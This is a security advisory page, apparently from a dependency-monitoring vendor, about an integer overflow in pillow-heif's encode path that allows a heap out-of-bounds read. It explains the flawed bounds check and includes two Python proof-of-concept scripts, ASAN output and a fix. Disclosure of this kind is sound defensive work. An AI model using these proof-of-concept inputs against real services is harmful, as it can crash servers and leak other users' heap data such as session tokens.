Know every vulnerabilitybefore it knows you.
DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.
GHSA-5gjj-6r7v-ph3x
No affected components available
Summary
An integer overflow in the encode path buffer validation of _pillow_heif.c allows an attacker to bypass bounds checks by providing large image dimensions, resulting in a heap out-of-bounds read. This can lead to information disclosure (server heap memory leaking into encoded images) or denial of service (process crash). No special configuration is required — this triggers under default settings.
Details
The buffer validation in _CtxWriteImage_add_plane(), _CtxWriteImage_add_plane_la(), and _CtxWriteImage_add_plane_l() uses 32-bit int multiplication to check whether the input buffer is large enough:
// _pillow_heif.c, lines 158, 344, 449
if (stride_in * height > buffer.len) {
PyBuffer_Release(&buffer);
PyErr_SetString(PyExc_ValueError, "image plane does not contain enough data");
return NULL;
}
Both stride_in and height are declared as int (32-bit signed). When their product exceeds INT_MAX (2,147,483,647), the multiplication overflows before the comparison with buffer.len (which is Py_ssize_t, 64-bit). The overflowed value wraps to zero or a negative number, causing the bounds check to pass incorrectly.
For example, with stride_in = 196608 (65536 × 3 for RGB) and height = 65536:
- True product: 12,884,901,888
int32product: 0 (wraps around)- Comparison:
0 > buffer.len→false→ check bypassed
After the check is bypassed, the subsequent loop reads beyond the input buffer:
for (int i = 0; i < height; i++)
memcpy(out + stride_out * i, in + stride_in * i, real_stride);
Additionally, real_stride = width * n_channels (e.g., line 148: real_stride = width * 3) is also computed as int * int, which can independently overflow for large width values.
This vulnerability exists in the encode path, which is distinct from the decode path:
- The decode path is partially guarded by libheif's built-in security limits
- The encode path has no such guards —
DISABLE_SECURITY_LIMITSis irrelevant - The encode path is reachable whenever an application calls
pillow_heif.encode()or saves an image via Pillow withformat="HEIF"/format="AVIF"
Affected functions (all in _pillow_heif.c):
_CtxWriteImage_add_plane()— line 158_CtxWriteImage_add_plane_la()— line 344_CtxWriteImage_add_plane_l()— line 449
CWE: CWE-190 (Integer Overflow or Wraparound) → CWE-125 (Out-of-bounds Read)
PoC
Prerequisites
pip install pillow-heif Pillow
For ASAN confirmation:
# macOS (Apple Clang)
CC="cc -fsanitize=address -fno-omit-frame-pointer -g" pip install --no-binary pillow-heif pillow-heif
# Linux (GCC)
CC="gcc -fsanitize=address -fno-omit-frame-pointer -g" pip install --no-binary pillow-heif pillow-heif
Test 1: Crash without ASAN (process killed by SIGSEGV/SIGBUS)
import pillow_heif
from io import BytesIO
# width=32768, height=32768 => 1,073,741,824 pixels (within libheif security limit)
# stride_in = 32768 * 3 = 98304
# 98304 * 32768 = 3,221,225,472 > INT_MAX (2,147,483,647)
# int32 overflow: wraps to -1,073,741,824
# Bounds check: -1,073,741,824 > 1,048,576 → False → BYPASSED
width = 32768
height = 32768
buffer = b"\x00" * (1024 * 1024) # 1 MB (real need: ~3 GB)
buf = BytesIO()
try:
pillow_heif.encode("RGB", (width, height), buffer, buf, quality=-1)
print("[!] encode() succeeded — bounds check was bypassed")
except MemoryError as e:
print(f"[*] MemoryError (libheif caught it later): {e}")
print("[*] int32 overflow occurred — C-level bounds check was bypassed")
except ValueError as e:
print(f"[-] ValueError (bounds check worked): {e}")
Without ASAN, this crashes the process with exit code 138 (SIGBUS) or 139 (SIGSEGV).
Test 2: Explicit stride — small image, immediate crash
import pillow_heif
from io import BytesIO
# 100x100 pixels — well within any security limit
# stride=INT_MAX (2,147,483,647), height=100
# INT_MAX * 100 overflows int32 → small or negative value
# Bounds check bypassed, memcpy reads far beyond the 256-byte buffer
width = 100
height = 100
stride_val = 2_147_483_647
small_buffer = b"\x00" * 256
buf = BytesIO()
try:
pillow_heif.encode("RGB", (width, height), small_buffer, buf,
quality=-1, stride=stride_val)
print("[!] encode() succeeded — bounds check was bypassed")
except ValueError as e:
print(f"[-] ValueError (bounds check worked): {e}")
Without ASAN, this crashes with exit code 139 (SIGSEGV).
ASAN confirmation
With an ASAN-enabled build of pillow-heif 1.2.1 on macOS (Apple Clang 17, arm64, Python 3.14), Test 1 produces:
==60070==ERROR: AddressSanitizer: negative-size-param: (size=-1073741824)
#0 0x... in <deduplicated_symbol> (libclang_rt.asan_osx_dynamic.dylib)
#1 0x... in __asan_memcpy (libclang_rt.asan_osx_dynamic.dylib)
#2 0x... in _CtxWriteImage_add_plane+0x5bc (_pillow_heif.cpython-314-darwin.so)
#3 0x... in method_vectorcall_VARARGS (libpython3.14.dylib)
...
0x... is located 32 bytes inside of 1048609-byte region [0x...,0x...)
allocated by thread T0 here:
#0 0x... in malloc (libclang_rt.asan_osx_dynamic.dylib)
...
SUMMARY: AddressSanitizer: negative-size-param
(_pillow_heif.cpython-314-darwin.so) in _CtxWriteImage_add_plane+0x5bc
The overflow in stride_in * height (98304 × 32768 = 3,221,225,472) wraps to -1,073,741,824 in 32-bit signed arithmetic. This negative value bypasses the bounds check and is passed directly to memcpy as the size parameter, causing an out-of-bounds read from the 1 MB input buffer.
Impact
Who is impacted: Any application that uses pillow-heif to encode images where the dimensions (width, height) can be influenced by external input. Common scenarios include:
- Image resize/conversion web APIs (e.g., thumbnail generation, format conversion endpoints)
- Content management systems that convert uploaded images to HEIF/AVIF
- Image processing pipelines that accept user-specified output dimensions
Information Disclosure (Heartbleed-like): The out-of-bounds read copies heap memory adjacent to the input buffer into the output image. If the encoded image is returned to the requester, it may contain fragments of:
- Other users' request data
- Python objects (strings, byte arrays)
- Session tokens, API keys, or other sensitive data from the server's heap
Denial of Service: When memcpy reaches unmapped memory pages, the process crashes with SIGSEGV. Repeated exploitation can take down all worker processes (gunicorn, uvicorn, etc.).
Suggested fix: Cast operands to Py_ssize_t before multiplication at all three locations:
// Before (vulnerable):
if (stride_in * height > buffer.len) {
// After (fixed):
if ((Py_ssize_t)stride_in * (Py_ssize_t)height > buffer.len) {
Prior art:
- CVE-2024-5197 (libvpx): integer overflow in
vpx_img_alloc(), CVSS 7.5 - CVE-2024-5171 (libaom): integer overflow in
aom_img_alloc(), CVSS 9.8
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability.
Limited exploitation activity has been observed. Close monitoring and planned remediation are recommended.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
Browse More
Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.
Checkout DevGuard